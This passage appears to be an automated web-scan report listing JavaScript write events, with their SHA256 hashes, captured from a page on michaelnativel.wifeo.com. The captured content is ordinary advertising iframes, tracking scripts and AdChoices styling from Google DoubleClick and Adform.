href = "https://adclick.g.doubleclick.net/pcs/click?xai=AKAOjsuijAGPIJyfqK25j5nBwD3PArrH06jpvwW0JK4kqaUeHnwvKWMcK5sjRVNHtfExmxPHXLGyzxdhBRtkzrHGaF9ZBXPXVzaFx_CezHGNKOkqhcojaUCXEsSFCwnqe8uR0hJ9n3OtFsOlxUakerwjFcGxr5KrEk1FjceZIeTbGZ-MXMBmQJocpnz3TT8U8_vFC-mzgoeNfpW0Dy9oKj_PIO1wyl-e0A_15VQ2tkR08PRvaUq-5ecGs3schaC9yFWgc_Bw3mn4rgVVbvRwhbfyzAqg0WXHPKw4rgl23qijnVETcMid94GDaSNW146SGAaEKoM8OJPkwCvPWnTwSOBvrbV6NiefoGPerF72wGalTIvfqcs0jI4IQcdEFYQq2stIU8WIYr7l51frtmIWHUXUwNMa8JBbh6Z26EFJdBaXCBx1isDb2P-d2xka9Hnv3bElpMOE39fT6T7SQNo6mcxDV0lW44KJ-H1auKpKEXHYCFOsmbaacFAv53xiKRrPo5gaq7YtFXOY_6Sekt5XG3SAgDHbmTIiOmP1qvRjwyMObfnbvmRGL0PDqpcymmS1fjeXqUvt88WStawZFYLWNoKWThdUWZrHy8MEgAw5TigWEzGePWViiFMlEGxX-sl09Blz8WbrjeOdJet_aqoNatFGi617HQwe-X49TrO8yh3m3c_PHCyeTikXHhnQAxc7fczQVzglurYA7XQNkFfrm6KwMFI_u5L34YqoZbP_uY_e_RDI76VJqRaefIPWpq_1YV0ayZikCCUxRcadkvHAs5myiu-pS72yZXeuA5_pxRdRK7c0UBoLHFB78YDpx_EGD9k&amp;sai=AMfl-YR-QCIU85cqWI8bhpxlpK_iKqechO7ePgueWJZxdeQ6J-Lwn0hP5VYi-hzHL98iOEth4r1gSow8XatDFihwKVfuIyguHwSAVJOFsjvYaic&amp;sig=Cg0ArKJSzBn2JDfbdhiQ&amp;urlfix=1&amp;adurl=https://www.priceline.com/" > < img src = "https://s0.2mdn.net/8405476/priceline_160x600.jpg"
alt = "Advertisement"
border = "0"
width = "160"
height = "600" > < /a>

#15 JavaScript::Write (size: 75, repeated: 1) - SHA256: fff09ae4e916288b7bc79b9ff66654e1c499f8efc756f301cabecd716418684d

                                        < div class = "GoogleActiveViewClass"
id = "DfaVisibilityIdentifier_3051107905" >

#16 JavaScript::Write (size: 75, repeated: 1) - SHA256: 3983ecc8112c37208ba5d6e93834b31d1310b3d39f921d5cab386de3a5d9be58

                                        < div class = "GoogleActiveViewClass"
id = "DfaVisibilityIdentifier_3769813834" >

#17 JavaScript::Write (size: 85, repeated: 1) - SHA256: cf75c6c5c62f8e35ab23c17e8044f52ccf8570fffa83d94075b66c9adca45223

                                        < div id = "+ADFP1x"
style = "width:468px;height:60px;" > < /div><i style="display:none"></i >

#18 JavaScript::Write (size: 85, repeated: 1) - SHA256: f61fc1e29e2633b24dc5ad7c635c779c3fed37537e179940212d6178a5642d32

                                        < div id = "+ADFP2x"
style = "width:468px;height:60px;" > < /div><i style="display:none"></i >

#19 JavaScript::Write (size: 18, repeated: 2) - SHA256: 0304f6f192da1241555759cbd47b6e2f7267f1661188f93500fb12bab9c28a87

                                        < div id = "ad_unit" >

#20 JavaScript::Write (size: 1345, repeated: 1) - SHA256: 43b86774fec1a4022746b7e501d49d7a966b0c2d321351872b57be8c3034f3a4

                                        < iframe id = "google_ads_frame1"
name = "google_ads_frame1"
width = "585"
height = "60"
frameborder = "0"
src = "https://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-5439285203515723&amp;output=html&amp;h=60&amp;slotname=5224417502&amp;adk=2845482056&amp;adf=807048394&amp;w=585&amp;fwrn=4&amp;lmt=1518530546&amp;loeid=38893312&amp;rafmt=1&amp;format=585x60&amp;url=http%3A%2F%2Fmichaelnativel.wifeo.com%2F&amp;ea=0&amp;flash=10.0.45&amp;fwr=0&amp;resp_fmts=3&amp;wgl=0&amp;dt=1518530560033&amp;bpp=43&amp;fdt=49&amp;idt=242&amp;shv=r20180207&amp;cbv=r20170110&amp;saldr=aa&amp;correlator=2522521449464&amp;frm=20&amp;ga_vid=709438037.1518530560&amp;ga_sid=1518530560&amp;ga_hid=1665291383&amp;ga_fc=0&amp;pv=2&amp;icsg=0&amp;nhd=1&amp;dssz=0&amp;mdo=0&amp;mso=0&amp;u_tz=60&amp;u_his=1&amp;u_java=1&amp;u_h=885&amp;u_w=1176&amp;u_ah=855&amp;u_aw=1176&amp;u_cd=24&amp;u_nplug=10&amp;u_nmime=92&amp;adx=312&amp;ady=752&amp;biw=1159&amp;bih=754&amp;abxe=1&amp;scr_x=0&amp;scr_y=0&amp;eid=38893302%2C21061122%2C191880502&amp;oid=3&amp;rx=0&amp;eae=4&amp;fc=528&amp;brdim=%2C%2C-4%2C-4%2C1176%2C0%2C1184%2C863%2C1176%2C754&amp;vis=0&amp;rsz=%7C%7C%7C&amp;abl=CS&amp;ppjl=u&amp;pfx=0&amp;fu=144&amp;bc=1&amp;ifi=1&amp;dtd=264"
marginwidth = "0"
marginheight = "0"
vspace = "0"
hspace = "0"
allowtransparency = "true"
scrolling = "no"
allowfullscreen = "true" > < /iframe>

#21 JavaScript::Write (size: 1370, repeated: 1) - SHA256: 414c7af0c9fc1614c2408ec85cd990959994bd53eeb8cd165540233e74e4cd6e

                                        < iframe id = "google_ads_frame2"
name = "google_ads_frame2"
width = "585"
height = "60"
frameborder = "0"
src = "https://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-5439285203515723&amp;output=html&amp;h=60&amp;slotname=5224417502&amp;adk=2845482056&amp;adf=807048394&amp;w=585&amp;fwrn=4&amp;lmt=1518530546&amp;loeid=38893312&amp;rafmt=1&amp;format=585x60&amp;url=http%3A%2F%2Fmichaelnativel.wifeo.com%2F&amp;ea=0&amp;flash=10.0.45&amp;fwr=0&amp;resp_fmts=3&amp;wgl=0&amp;dt=1518530560084&amp;bpp=20&amp;fdt=229&amp;idt=331&amp;shv=r20180207&amp;cbv=r20170110&amp;saldr=aa&amp;prev_fmts=585x60&amp;correlator=2522521449464&amp;frm=20&amp;ga_vid=709438037.1518530560&amp;ga_sid=1518530560&amp;ga_hid=1665291383&amp;ga_fc=0&amp;pv=1&amp;icsg=0&amp;nhd=1&amp;dssz=0&amp;mdo=0&amp;mso=0&amp;u_tz=60&amp;u_his=1&amp;u_java=1&amp;u_h=885&amp;u_w=1176&amp;u_ah=855&amp;u_aw=1176&amp;u_cd=24&amp;u_nplug=10&amp;u_nmime=92&amp;adx=312&amp;ady=3546&amp;biw=1159&amp;bih=754&amp;abxe=1&amp;scr_x=0&amp;scr_y=0&amp;eid=38893302%2C21061122%2C191880502&amp;oid=3&amp;rx=0&amp;eae=4&amp;fc=528&amp;brdim=%2C%2C-4%2C-4%2C1176%2C0%2C1184%2C863%2C1176%2C754&amp;vis=0&amp;rsz=%7C%7Cbr%7C&amp;abl=CS&amp;ppjl=u&amp;pfx=0&amp;fu=144&amp;bc=1&amp;ifi=2&amp;dtd=358"
marginwidth = "0"
marginheight = "0"
vspace = "0"
hspace = "0"
allowtransparency = "true"
scrolling = "no"
allowfullscreen = "true" > < /iframe>

#22 JavaScript::Write (size: 1381, repeated: 1) - SHA256: 509bdb31e00ff0c07a4e94e9e9cdc516390f82eca73610c218f36fca10707e01

                                        < iframe id = "google_ads_frame3"
name = "google_ads_frame3"
width = "178"
height = "600"
frameborder = "0"
src = "https://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-5439285203515723&amp;output=html&amp;h=600&amp;slotname=5224417502&amp;adk=3182230553&amp;adf=807048394&amp;w=178&amp;fwrn=4&amp;lmt=1518530546&amp;loeid=38893312&amp;rafmt=1&amp;format=178x600&amp;url=http%3A%2F%2Fmichaelnativel.wifeo.com%2F&amp;ea=0&amp;flash=10.0.45&amp;fwr=0&amp;resp_fmts=4&amp;wgl=0&amp;dt=1518530560105&amp;bpp=4&amp;fdt=349&amp;idt=445&amp;shv=r20180207&amp;cbv=r20170110&amp;saldr=aa&amp;prev_fmts=585x60%2C585x60&amp;correlator=2522521449464&amp;frm=20&amp;ga_vid=709438037.1518530560&amp;ga_sid=1518530560&amp;ga_hid=1665291383&amp;ga_fc=0&amp;pv=1&amp;icsg=0&amp;nhd=1&amp;dssz=0&amp;mdo=0&amp;mso=0&amp;u_tz=60&amp;u_his=1&amp;u_java=1&amp;u_h=885&amp;u_w=1176&amp;u_ah=855&amp;u_aw=1176&amp;u_cd=24&amp;u_nplug=10&amp;u_nmime=92&amp;adx=490&amp;ady=3781&amp;biw=1159&amp;bih=754&amp;abxe=1&amp;scr_x=0&amp;scr_y=0&amp;eid=38893302%2C21061122%2C191880502&amp;oid=3&amp;rx=0&amp;eae=4&amp;fc=528&amp;brdim=%2C%2C-4%2C-4%2C1176%2C0%2C1184%2C863%2C1176%2C754&amp;vis=0&amp;rsz=%7C%7Cbr%7C&amp;abl=CS&amp;ppjl=u&amp;pfx=0&amp;fu=144&amp;bc=1&amp;ifi=3&amp;dtd=471"
marginwidth = "0"
marginheight = "0"
vspace = "0"
hspace = "0"
allowtransparency = "true"
scrolling = "no"
allowfullscreen = "true" > < /iframe>

#23 JavaScript::Write (size: 1391, repeated: 1) - SHA256: 4dffe79ba18e3cb297f004fd34d63c5e78f2ffeea9ead6fd66f5275662b7487a

                                        < iframe id = "google_ads_frame4"
name = "google_ads_frame4"
width = "178"
height = "600"
frameborder = "0"
src = "https://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-5439285203515723&amp;output=html&amp;h=600&amp;slotname=5224417502&amp;adk=3182230553&amp;adf=807048394&amp;w=178&amp;fwrn=4&amp;lmt=1518530546&amp;loeid=38893312&amp;rafmt=1&amp;format=178x600&amp;url=http%3A%2F%2Fmichaelnativel.wifeo.com%2F&amp;ea=0&amp;flash=10.0.45&amp;fwr=0&amp;resp_fmts=4&amp;wgl=0&amp;dt=1518530560109&amp;bpp=5&amp;fdt=496&amp;idt=587&amp;shv=r20180207&amp;cbv=r20170110&amp;saldr=aa&amp;prev_fmts=585x60%2C585x60%2C178x600&amp;correlator=2522521449464&amp;frm=20&amp;ga_vid=709438037.1518530560&amp;ga_sid=1518530560&amp;ga_hid=1665291383&amp;ga_fc=0&amp;pv=1&amp;icsg=0&amp;nhd=1&amp;dssz=0&amp;mdo=0&amp;mso=0&amp;u_tz=60&amp;u_his=1&amp;u_java=1&amp;u_h=885&amp;u_w=1176&amp;u_ah=855&amp;u_aw=1176&amp;u_cd=24&amp;u_nplug=10&amp;u_nmime=92&amp;adx=490&amp;ady=5181&amp;biw=1159&amp;bih=754&amp;abxe=1&amp;scr_x=0&amp;scr_y=0&amp;eid=38893302%2C21061122%2C191880502&amp;oid=3&amp;rx=0&amp;eae=4&amp;fc=528&amp;brdim=%2C%2C-4%2C-4%2C1176%2C0%2C1184%2C863%2C1176%2C754&amp;vis=0&amp;rsz=%7C%7Cbr%7C&amp;abl=CS&amp;ppjl=u&amp;pfx=0&amp;fu=144&amp;bc=1&amp;ifi=4&amp;dtd=606"
marginwidth = "0"
marginheight = "0"
vspace = "0"
hspace = "0"
allowtransparency = "true"
scrolling = "no"
allowfullscreen = "true" > < /iframe>

#24 JavaScript::Write (size: 1891, repeated: 1) - SHA256: 3d834121371262c690355e833e6a0afa9faff6e973f720e12c17cca5231440ad

                                        < script src = "https://googleads.g.doubleclick.net/dbm/ad?dbm_c=AKAmf-AQ7uQTK6Y3BXPwcPOijzJLpc5QWvIWDsvc06a-ymETLveQJ_D1iB7pudsOps0x6h39xuQ0&dbm_d=AKAmf-CU3de9-V7BBeTGaHBvdvjRFynRkXr6KSHBD6jVV-mQHiS1LjmKZocdZMeO7h5IoBkQxILN5KdmVIKbVbK7u_ZDP11qCuwP0GJjOKvjWH7feXch2hkBfsTwdz7oeZ0xsgx7iebdw4MhOfxEzCeQUQElYQaQh8iZ_VXFwCRTbiO9RKaOyNoFMsWrZejBPpE36LNfdxuA7nIbEzgmhXIoXQSTv1ZNn60pvY9mDAu02szuiPv85gVnD8fg1xq3ii_t6JjZO6QoE0vQZzDHJ0Gs7hLiCey1jYrYHhoxkwbG9Gi9X7mPI8OshZi8NJl-WIwXMt7JvKwIpPkgyOltMUuv5aQfgv5H2E0aI_tGBsneYJGbzgd4Gdsf-l4INzf--Jp4HUH6sucbWrrFye9kPEN1eGXg9mOe8w7_KK3e8RUuccQdw4tiDfUwErkQsBUlyDSm4gps804lEBUNJGyv4EsfhAVXf_7j4CnpZMo8Uxry2vjJsK21LO18eRMsHqJZN80Tyw7rjXm4wVzQMrhRvt-tzk0ZRz5sGfNYY8la4bGfWgKrqzogEJKie5LKk4NMaHr5JSDpLP9oUI-GaRBjwe_b5VC0NALyz2ivwlKZGfw2zRiQgDfYnuc855grfyqc_uf7VC60aHgva-r__FFxROLdTo-3ScwJHflWEcJ4qXNTHGWgbqcRDUUi78DUzt39LtE8NCDaCwJvnmW4L8TnV79aY_WZqkwcoM3P6pAxaOvQBdz4rD11JwiQXAit_QTfi3revowP2vc_uSvEreoUtuT_XwBm9Gp9iHTD_aB4ggNjZMUk2TGXNP-4M7PQi8rge413WKmptXT5p9T9Ph2U4ytXU9BAuyIRNkhXw5vmMgVxkHJ0fh4sZKT96IYD8tY-6PFWE_vyTnsnGJL8wQNNns9_GasCE4HMk4ZeI-VWTuykRrSeNqqXl4WFP3cQ0cny3AR6cqG4DlNpeDQQHGWDZUlKipzsYTVktXsaK_FNks5nD1YLrPXsBhmNDm0fVYqVSpzZLJLNeosgk85uM9Pn12-RP8S0g_9K-XfdkwhfZbxvDUr518UpP3h-VHDVmLImnwdUPa2DlJ0jie6bwDHA1iO4CjpSph8W_6KJCR_CcZUXSQ_ylFzZPR0EhM-yvl70djwTrkmBjpR41aFZ7ohlFQZ0MaEnlM-MILDRuSdjRG8L-dPGaA-ky8U2RbTZHtKt1OsxrnOQWVqR1oxc4qzKU0Dfscsz2gwtZD3EOQvhpCbtp4QG6YEdEhjHSVM8S5CVPSdrVlmRd6QNOpQgEWYGzmIy1Lcwlm3AgnHEl4gqQiU8dQMtl7WPhytPKuZWArJCXwtxxsH-w3hHe_IFDJpTrBPaF3wgSagQ0wlsfRrXvZ1gJpzYFIYa1OA3D1ORoIxGK3wd7hlOwrBN9oN1JCQCKCH7oB3O9zFo1yEfY7a13nqyfBqujNL-3InexkKXFiVViblG-FWvliZbL-65gpOQ0bQucQv0TmhKlyjhhpxNtiHNEQ6rRTZLa71R-mIacBT1K8HNkttVcaqI1Gmc5uASmcMF22-ZaV4pWmYZdGoPeEawxyPPvUgPT4nZxX6JXe--h-20sUpLHYICKILit9yQkcFtaPCgPYQ3FRHDlxRoOuh1ZTCNwP8puDg&cid=CAASBORoCbo&rfl=3%2C%2Chttp%253A%252F%252Fmichaelnativel.wifeo.com%252F%240" > < /script>

#25 JavaScript::Write (size: 1891, repeated: 1) - SHA256: 705c57b91534b98718d0a3194cc9f8461e02993ff34742073e7719178c38c007

                                        < script src = "https://googleads.g.doubleclick.net/dbm/ad?dbm_c=AKAmf-CMFjlCYhF4bXqL7oYsQ_ktpQqAq_4_kFCFyARe5rgRQloDs5jtWqcJpO3OXxtKG-hITomA&dbm_d=AKAmf-Bu8n8zpWL0MZ--6xkxKwTJhHkQJItJ0qr1ue_AJ101guX1nQNBCp_PyGzPKQIJ1jrc2QGN_kWsmdEyndmKDSQVfI74nEslDUkqCD_C8PgNokAKGwTCnKUvOdvML40dX50_vfzW9_JlENFDzIOlatXPhGFOjunS5va2ZTAdv26z4cXFlqXmscnyTvicIxF16e0XM7-eHc5DaTl5qc6476Q1Fd6hOLvP_hNk152Y_fh3cRYnpL8f5R4GqfYdhDIv3t8gJxRwqQVKRZsH1NegexOF8yfWtux3AoG4ChnZP3DmLIwEsLa4JpOIqCn3hYkmTUf-0DgTMba-rqMtKdZw8Hb_AmO6P22GjGKwdRyDvg4VnXnYf8wxNydhAqH069msLhr4-usi5a6GxEHiJ6Tso4uuwcUjO_JFUgoSk-jCbq7rcIVPbQEHuWCG0RUVRV_KIZgkcPvzbg09UacNFQL57p9R1OLNfL5xoTJ7juD6DGEqlnYER9XbRQ_cduaUz0UkuX3H_vX_uDxpr_TA_OKNWsbkP-mvZ731w5podjF-ugYN62Mrj83laH7yLr-tBi3_nxjoM6BNug7sL5fAA5Vk3j5QaRIzGmuzOkngcNMyzuomVaLE5MhWl-QunbaHlvUvC1F1wqdjfz3e9Td3KySZwOuPMvxKycGomjdgwdF03X26hEaRChIbkn5uZCZ-3mAxh91Se_g7O6XK9rUNEi-Xa8AXVX8g6sP67vB568JPyLOzjcGoUZQSmy2_QJrwwi8NowIUwW1m21Hvj4GBxs0DMScN93EN-ekqbFcCtKfFdNDP14LvJT0eopPp1SoDKod5zTf1vStq2U1euV-GZeHBkunBHNOVGxgZHpcgxTPTdqcp0JPPEfpF3dFzC1XUxYEH2tt5lO4w406rl8UxE7MvAW-w34DiW9CPiJ16IrJxHtMXmrxS0WbgnyYAkZll-ysV9pXoXd7ZmFI2OrB20Gsoo3WisJOKspMU2BmiklLvaF0IStnSNNnPoq9UVyxO8x-h3PIySe0ClEVkjJ0MS25N0ILrcBwvPxhy4uECzI6ACkewJ5d93ERxM7jMgUup0oqID6IlOsGEx4Q4OOANXeFbIf6aO9Gg2nf-Y6z8v3uEGeJXQIg1dDxmrFXdz2Tfz6MAcvFXzHiEBZWO8KnXdDvbD201ZSgvWgCgq-uvirH97pYc81kCSN8rEl2Z65nLFJBD55rX3b5xzgHRJItjaHZQWJOi2wv-EZW8ieTjPJ3JVT-gFLS7q4CpiVDkwgZVWYlCKNIJ8YH9sCmlX1CUJy6mqIvg0DEmKy1E2dMAjl8wTS9liQgrXsmzlhxzYyV9MDq03LB_R7zNBEkB7pcTkOBS9cnrPmnPeO-mXfMlgkAkbd91dtxuS2CBiYtCcZH4k2V8lNJ7Rq0w_E08caJEyxjYcdeuSBeTtbHrw0uXm8vkSMshIAZ5taWC71eAqe2ve36VL-EnOgkRBFORSdLoW07KoEXW4Q4CSkyS-b0e4uUaakOWawX5-sOD9GZ-38_-5IAYUZWaUb812tcIgCzDdJQAOqIHvNV-CroCNNuyPoevy6eY8EOuENCtDu1HVDm37DA00wCgxsjNoMaSl_RVSizUXokBKVdKMznZv9Z0w_HrUBheuyTiXTw&cid=CAASBORokGo&rfl=3%2C%2Chttp%253A%252F%252Fmichaelnativel.wifeo.com%252F%240" > < /script>

#26 JavaScript::Write (size: 105, repeated: 2) - SHA256: 3254883964d2bf22491ed64b605b062b34ec760710ec1abba3c4b9ca04803428

                                        < script type = "text/javascript"
src = "https://s1.adform.net/stoat/607/s1.adform.net/bootstrap.js" > < /script>

#27 JavaScript::Write (size: 1390, repeated: 1) - SHA256: 00d7bf6efc197bd5f300a7ee3ab13d7eb7db0fe524d46878f0b8e42c2505c22a

                                        < script type = "text/javascript"
src = "https://track.adform.net/adfserve/?CC=1&bn=21309103;rtbwp=WoLwAAAOdzQKGI-NAAEa1YL_sjAZppZh5XiTXg;rtbdata=x-QconeWRJpxwDvr0OWHi-yyTRtv5y2pxjmhnbc_HYf1A5T3MwZy57QfGhgG7vcW8OkrmmqwEdB933qZg4wmMYNMQbPfzw_mMmMNdHuK2dgX-fHbLYycSQc0iLIxrm_3MPyXCqTm1hBoF1ovLTSa1sUIoYLXePiAR3Zqz6_FPkAlbAFnxTTVD28qB6yJN0y0jw9PKFYxjICVssFwilRnsaQF4kkqyKa7w3iI60gHGBc1;nofp=1;click=https://adclick.g.doubleclick.net/aclk?sa=L&ai=CqVVLAPCCWrTuOY2fYtW1hBDFx5-9Tb7QuIXlAsCNtwEQASAAYMPcpIWYGIIBF2NhLXB1Yi01NDM5Mjg1MjAzNTE1NzIzyAEJqQJH_UzW4DGGPqgDAaoEnQFP0IPuL8cZhkRmQuihB5gUEF5PEbRJS4we5jaYvowbDd5UahqaBIX1u5mua8xYIk7-6kHjKOkcfAOAB5o9Q0oKON9MHOjV3sH7ycON_HXR2pG016TJRvkFfslJ64UxsQFGP5Tkqsl_78pN7HKwnjZi99ZbRfMqq9n7uKckfQEbrl9a1cjg60hifiquMSaXWlXEcfEN7KGzQaVkil1YgAbinrmRmbDIt4IBoAYhqAemvhvYBwDSCAUIgGEQAQ&num=1&sig=AOD64_2N-eZttHoTa1h3c12AmgkpxQPwLg&client=ca-pub-5439285203515723&adurl=;js=1;adfxid=2x;2991;set=en-US|en-US|1176X885|10.0452|450|50|24|8|3|7|1;fd=0|0&CREFURL=https%3a%2f%2fgoogleads.g.doubleclick.net%2fpagead%2fads%3fclient%3dca-pub-5439285203515723%26output%3dhtml%26h%3d60%26slotname%3d5224417502%26adk%3d2845482056%26adf%3d807048394%26w%3d585%26fwrn%3d4%26lmt%3d1518530546%26loeid%3d38893312%26rafmt%3d1%26format%3d585x60%26url%3dhttp%253A%252F%252Fmichaelnativel.wifeo.com%252F%26ea%3d0%26flash%3d10.0.45%26fwr%3d0%26resp_fmts%3d3%26wgl%3d0%26dt%3d151853" > < /script>

#28 JavaScript::Write (size: 1391, repeated: 1) - SHA256: cbdb0cd49396b1da6e3f9160302ececf96b4a32f99901a29774a7db850abf47a

                                        < script type = "text/javascript"
src = "https://track.adform.net/adfserve/?CC=1&bn=21309103;rtbwp=WoLwAAAOeHcKGJfVAApDtvcIILCSCAXLybOkMg;rtbdata=x-QconeWRJpxwDvr0OWHi78hmukHVFK8RQCTAR5cr1QHlafa_rFEhbQfGhgG7vcW8OkrmmqwEdB933qZg4wmMYNMQbPfzw_mMmMNdHuK2dgX-fHbLYycSQc0iLIxrm_3MPyXCqTm1hC9-bNoFRpauMUIoYLXePiAR3Zqz6_FPkAlbAFnxTTVD28qB6yJN0y0jw9PKFYxjICVssFwilRnsaQF4kkqyKa7w3iI60gHGBc1;nofp=1;click=https://adclick.g.doubleclick.net/aclk?sa=L&ai=Ci7J6APCCWvfwOdWvYraHqfAPxcefvU2-0LiF5QLAjbcBEAEgAGDD3KSFmBiCARdjYS1wdWItNTQzOTI4NTIwMzUxNTcyM8gBCakCE2Tw8uI0hj6oAwGqBJ0BT9AXMOfUVSiY5DJGcZeodxVkiGoBS11ntOjOZwxDrh9-mzTHnXg2eWWWiqxAf1zeVzkTrOvXfstUGDb_z1BBD9K73koNB2EvobUZja8uOH0QliJshPlT59p34w749vVF9zZTITJysmHHKUtlTTJ6odGu8p98D4LA7POw50Gqq8tbrfjA31RCagf8o_LrQ5e6xWeb5kppnLzyg3_q1IAG4p65kZmwyLeCAaAGIagHpr4b2AcA0ggFCIBhEAE&num=1&sig=AOD64_19LQnk-EME2ib3WSVpuf5HvnMqxg&client=ca-pub-5439285203515723&adurl=;js=1;adfxid=1x;3781;set=en-US|en-US|1176X885|10.0452|450|50|24|8|3|7|1;fd=0|0&CREFURL=https%3a%2f%2fgoogleads.g.doubleclick.net%2fpagead%2fads%3fclient%3dca-pub-5439285203515723%26output%3dhtml%26h%3d60%26slotname%3d5224417502%26adk%3d2845482056%26adf%3d807048394%26w%3d585%26fwrn%3d4%26lmt%3d1518530546%26loeid%3d38893312%26rafmt%3d1%26format%3d585x60%26url%3dhttp%253A%252F%252Fmichaelnativel.wifeo.com%252F%26ea%3d0%26flash%3d10.0.45%26fwr%3d0%26resp_fmts%3d3%26wgl%3d0%26dt%3d151853" > < /script>

#29 JavaScript::Write (size: 6914, repeated: 1) - SHA256: 4dcd106b74ce13795e53f5eb6689f0a0eff2b2761fb5ba5a6bbf6a20e93ad776

                                        < style > div, ul, li {
    margin: 0;padding: 0;
}.abgc {
    display: block;height: 15 px;overflow: hidden;position: absolute;right: 16 px;top: 0 px;text - rendering: geometricPrecision;width: 15 px;z - index: 9020;
}.abgb {
    display: block;height: 15 px;width: 15 px;
}.abgc, .abgcp, .cbb {
    opacity: 0;
}.jar.abgc, .jar.abgcp, .jar.cbb {
    opacity: 1;
}.jaa.abgc, .jaa.abgcp, .jaa.cbb {
    display: none;
}.abgc {
    cursor: pointer;
}.cbb {
    cursor: pointer;height: 15 px;width: 15 px;z - index: 9020;
}.cbb svg {
    position: absolute;top: 0;right: 0;height: 15 px;width: 15 px;
}.cbb.cbbbg {
    fill - opacity: 1.0;
    fill: # cdcccc;
    stroke: none;
}.cbb.cbbcross {
    stroke: #00aecd;stroke-width: 1.25;}.cbb:hover{cursor:pointer;}.cbb:hover .cbbbg {fill: # 58585 a;
}.cbb: hover.cbbcross {
    stroke: # ffffff;
}.abgb {
    position: absolute;right: 0 px;top: 0 px;
}.cbb {
    position: absolute;right: 0 px;top: 0 px;
}.abgc img {
    display: block;
}.abgc svg {
    display: block;
}.abgs {
    display: none;height: 100 % ;
}.abgl {
    text - decoration: none;
}.abgi {
    fill - opacity: 1.0;
    fill: #00aecd;stroke:none;}.abgbg{fill-opacity:1.0;fill:# cdcccc;
    stroke: none;
}.abgtxt {
    fill: black;font - family: 'Arial';font - size: 100 px;overflow: visible;stroke: none;
}.abgac {
    position: fixed;left: 0 px;top: 0 px;z - index: 9100;display: none;width: 100 % ;height: 100 % ;background - color: # FAFAFA;
} < /style><div id=abgc class=abgc dir='ltr' aria-hidden="true"><div id=abgb class="abgb"></div > < div id = abgs class = abgs > < a id = abgl class = abgl href = "https://www.google.com/url?ct=abg&amp;q=https://www.google.com/adsense/support/bin/request.py%3Fcontact%3Dabg_afc%26url%3Dhttp://michaelnativel.wifeo.com/%26gl%3DNO%26hl%3Dfr%26ai0%3D&amp;usg=AFQjCNGDCnVMf7o3IpMolU7dN4T_Fm2zmw"
target = _blank > < /a></div > < /div><div id="cbb" class="cbb" aria-hidden="true"><svg><path class="cbbbg" d="M0,0l15,0l0,15l-15,0Z"/ > < path class = "cbbcross"
d = "M3.25,3.25l8.5,8.5M11.75,3.25l-8.5,8.5" / > < /svg></div > < div id = "mute_panel"
aria - hidden = "true" > < /div><div id="abgac" class="abgac" aria-hidden="true"></div > < script > document.write('\n\x3cscript\x3evar abgp={hw:15,sw:91,hh:15,sh:15,himg:\'https://pagead2.googlesyndication.com\'+\'/pagead/images/adchoices/icon.png\',simg:\'https://pagead2.googlesyndication.com\'+\'/pagead/images/adchoices/fr.png\',alt:\'AdChoices\',t:\'Choisir sa pub\',tw:69,t2:\'\',t2w:0,tbo:0,att:\'adchoices\',ff:\'\',halign:\'right\',fe:false,iba:false,lttp:false,uic:true,uit:true,ci:\'\',icd:{\x22creatives\x22:[],\x22height\x22:600,\x22width\x22:160,\x22attribution\x22:{\x22user_feedback_data\x22:{\x22mute_icon_url\x22:\x22https://googleads.g.doubleclick.net/pagead/images/mtad/x_blue.png\x22,\x22pub_feedback_icon_url\x22:\x22https://googleads.g.doubleclick.net/pagead/images/mtad/x_blue.png\x22,\x22conversion_url\x22:\x22https://googleads.g.doubleclick.net/pagead/conversion/?ai\x3dCrn4yAPCCWrGlOIWyYePbsJgIsuTdtlDQ7MDZyQbwLhABINTukgpgw9ykhZgYyAEJqQJ82UeqoKy0PqgDAcgDAqoEtAFP0PyDAzBDLXzYrEa1aDA_gZL3lQxd4zkXiffYRBgMhjKyqRYhplocDF0iMQ4AAM9CEAWF0gSH828sey2mjfKYX5NXDrV0Shdbsi72WV0kfAIYL6jahyt77rAVb7jemk44hZJTsWg4QV-oDwe9JaYxQf7YykBHteQEIrFS9_ZQ2rvPgOraF8bCvHUymiiewWqUTCZK5G2m-sSn2w99ex4whdr1WRDdXpZhA8SaObzfmDEFqJfgBAOQBgGgBkyAB6PvsnqoB6a-G9gHANIIBwiAYRABGAKACgHQEwDYEwM\\u0026sigh\x3d650BQtiZQL4\\u0026cid\x3dCAASBORokGo\x22,\x22close_button_token\x22:\x22IvH0ppNNCVII0OzA2ckGEM-dpPkDGKvO0npCAEgAWABwAQ\x22,\x22interaction_conversion\x22:{\x22label\x22:\x22user_feedback_menu_interaction\x22,\x22label_instance\x22:\x22\x22,\x22include_close_button_token\x22:false},\x22survey_header\x22:\x22Qu\x27est-ce qui ne vous convenait pas dans l\x27annonce�?\x22,\x22back_icon_url\x22:\x22https://googleads.g.doubleclick.net/pagead/images/mtad/back_blue.png\x22,\x22mute_confirmation_header\x22:\x22Merci de vos commentaires.\x22,\x22mute_confirmation_text\x22:\x22Nous examinerons cette annonce afin d\x27am�liorer l\x27exp�rience utilisateur � l\x27avenir.\x22,\x22pub_feedback_confirmation_header\x22:\x22Merci de vos commentaires.\x22,\x22pub_feedback_confirmation_text\x22:\x22Nous utilisons vos commentaires pour �valuer les annonces sur ce site.\x22,\x22closing_countdown_text\x22:\x22Fermeture de l\x27annonce en cours�: %1$d\x22,\x22attribution_text\x22:\x22AdChoices\x22,\x22attribution_icon_url\x22:\x22https://googleads.g.doubleclick.net/pagead/images/mtad/ad_choices_blue.png\x22,\x22attribution_destination_url\x22:\x22https://www.google.com/url?ct\x3dabg\\u0026q\x3dhttps://www.google.com/adsense/support/bin/request.py%3Fcontact%3Dabg_afc%26url%3Dhttp://michaelnativel.wifeo.com/%26gl%3DNO%26hl%3Dfr%26ai0%3D\\u0026usg\x3dAFQjCNGDCnVMf7o3IpMolU7dN4T_Fm2zmw\x22,\x22ad_feedback_icon_url\x22:\x22https://googleads.g.doubleclick.net/pagead/images/mtad/x_blue.png\x22,\x22is_rtl_language\x22:false,\x22feedback_options\x22:[{\x22text\x22:\x22Signaler cette annonce\x22,\x22conversion\x22:{\x22label\x22:\x22user_feedback_menu_option\x22,\x22label_instance\x22:\x221\x22,\x22include_close_button_token\x22:true},\x22survey\x22:{\x22header\x22:\x22Qu\x27est-ce qui ne vous convenait pas dans l\x27annonce�?\x22,\x22options\x22:[{\x22text\x22:\x22Annonce affich�e trop 